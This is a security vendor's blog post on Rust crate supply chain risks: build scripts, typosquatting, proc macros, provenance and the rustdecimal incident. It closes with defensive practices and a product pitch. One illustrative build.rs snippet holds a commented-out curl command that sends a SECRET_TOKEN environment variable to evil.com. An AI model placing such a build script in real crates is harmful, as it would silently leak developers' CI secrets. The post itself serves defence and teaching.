Open Source Security

Rust Crate Supply Chain Security: Lessons from a Growing Ecosystem

As Rust adoption accelerates, its crate ecosystem faces the same supply chain threats that plague npm and PyPI. Here's what the Rust community is doing right — and where gaps remain.

Shadab Khan
Threat Intelligence
5 min read

Rust has earned a reputation as the language that takes safety seriously. Memory safety, type safety, thread safety — these are not afterthoughts in Rust; they are core design principles. But when it comes to supply chain security, the Rust ecosystem faces many of the same challenges as npm, PyPI, and every other package registry. The crates.io registry is growing fast, and with growth comes risk.

The State of Rust Supply Chain Security in 2022

As of early 2022, crates.io hosted over 80,000 crates with billions of cumulative downloads. Rust adoption was accelerating in critical infrastructure: the Linux kernel, Android, Windows, and cloud-native tooling were all incorporating Rust. This means supply chain compromises in the Rust ecosystem now have the potential to affect foundational software.

The Rust ecosystem has some structural advantages over other package ecosystems, but it is not immune to the attack patterns that have plagued npm and PyPI.

What Rust Gets Right

cargo-audit

The cargo-audit tool, maintained by the RustSec project, provides automated vulnerability scanning for Rust dependencies. It checks your Cargo.lock against the RustSec Advisory Database, which is a curated, community-maintained database of security vulnerabilities in Rust crates.

$ cargo audit
    Fetching advisory database from `https://github.com/RustSec/advisory-db.git`
    Scanning Cargo.lock for vulnerabilities (320 crate dependencies)

This is similar to npm audit but benefits from a more carefully curated advisory database with lower false positive rates.

Cargo.lock by Default

Rust projects use Cargo.lock by default for binary projects, which pins exact dependency versions. This eliminates the class of attacks where a malicious minor/patch version is automatically pulled in — the problem that enabled the colors.js sabotage.

Build Scripts Are Explicit

Rust's build.rs build scripts are explicit and visible in the crate structure. While they can execute arbitrary code at build time (a significant attack surface), their existence is at least transparent, unlike postinstall scripts in npm that can be buried in transitive dependencies.

Crate Yanking

crates.io supports "yanking" versions, which prevents new projects from depending on them while not breaking existing builds. This is a more nuanced approach than npm's unpublish mechanism and avoids the problems seen in the left-pad incident.

Where Gaps Remain

Build-Time Code Execution

The build.rs mechanism allows crate authors to execute arbitrary code during compilation. A malicious build.rs could:

  • Exfiltrate environment variables (including CI/CD tokens)
  • Download and execute additional payloads
  • Modify source files before compilation
  • Install persistent backdoors
// A malicious build.rs could do anything
fn main() {
    // Legitimate: configure build
    println!("cargo:rerun-if-changed=wrapper.h");
    
    // Malicious: exfiltrate secrets
    // std::process::Command::new("curl")
    //     .args(&["-d", &std::env::var("SECRET_TOKEN").unwrap(), "https://evil.com"])
    //     .output();
}

There is currently no sandboxing for build scripts, and most developers never review them in their transitive dependencies.

Typosquatting

crates.io is susceptible to typosquatting attacks. In 2022, researchers demonstrated that plausible typosquats of popular crates were available for registration. While crates.io has some name-similarity checks, they are not comprehensive enough to prevent all variants.

Procedural Macros

Rust's procedural macros execute arbitrary code at compile time, similar to build scripts. A malicious proc-macro crate could compromise a build environment without any runtime indicators.

Limited Provenance

As of early 2022, crates.io did not have robust provenance tracking. There was no way to verify that a published crate was built from a specific commit in a specific repository. The Rust community was working on RFC processes to address this, but implementation was still in early stages.

Maintainer Account Security

crates.io accounts can be secured with API tokens, but two-factor authentication for publishing was not yet mandatory. A compromised maintainer account could publish malicious versions of popular crates.

Real-World Incidents

While the Rust ecosystem has been relatively free of major supply chain attacks compared to npm, there have been notable incidents:

  • rustdecimal (2022): A typosquat of the popular rust_decimal crate was discovered containing malicious code that exfiltrated environment variables. The malicious crate used a hyphen instead of an underscore — rustdecimal vs rust_decimal — a subtle difference that could easily be missed.

  • CrateDB vulnerabilities: Multiple crates have been found with vulnerabilities in their unsafe code blocks, which, while not supply chain attacks per se, demonstrate that Rust's safety guarantees do not extend to unsafe blocks.

Best Practices for Rust Supply Chain Security

1. Run cargo-audit in CI

Make cargo audit a required check in your CI pipeline. Fail builds on any advisory with a severity of "high" or above.

# GitHub Actions example
- name: Security audit
  run: |
    cargo install cargo-audit
    cargo audit

2. Review build.rs in Dependencies

Before adding a new dependency, check if it (or any of its transitive dependencies) contains a build.rs file. Understand what it does.

3. Use cargo-deny

The cargo-deny tool provides additional checks beyond cargo-audit, including license compliance, duplicate dependency detection, and source restrictions.

# deny.toml
[advisories]
vulnerability = "deny"
unmaintained = "warn"

[licenses]
allow = ["MIT", "Apache-2.0", "BSD-3-Clause"]

4. Pin and Verify

Use Cargo.lock for all projects (not just binaries), and audit changes to it in code review. Consider using cargo-vet to track security reviews of your dependencies.

5. Minimize Dependencies

Rust's standard library is more capable than Node.js's, which means you often do not need external crates for basic functionality. Before adding a dependency, ask: "Can I implement this in 50 lines of code?"

How Safeguard.sh Helps

Safeguard.sh extends its supply chain security monitoring to Rust projects, tracking crate dependencies, identifying known vulnerabilities via the RustSec database, and generating SBOMs that include your full Cargo dependency tree. Our platform monitors for typosquatting patterns, maintainer anomalies, and build script risks across the crates.io ecosystem, giving you continuous visibility into the security posture of your Rust supply chain.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.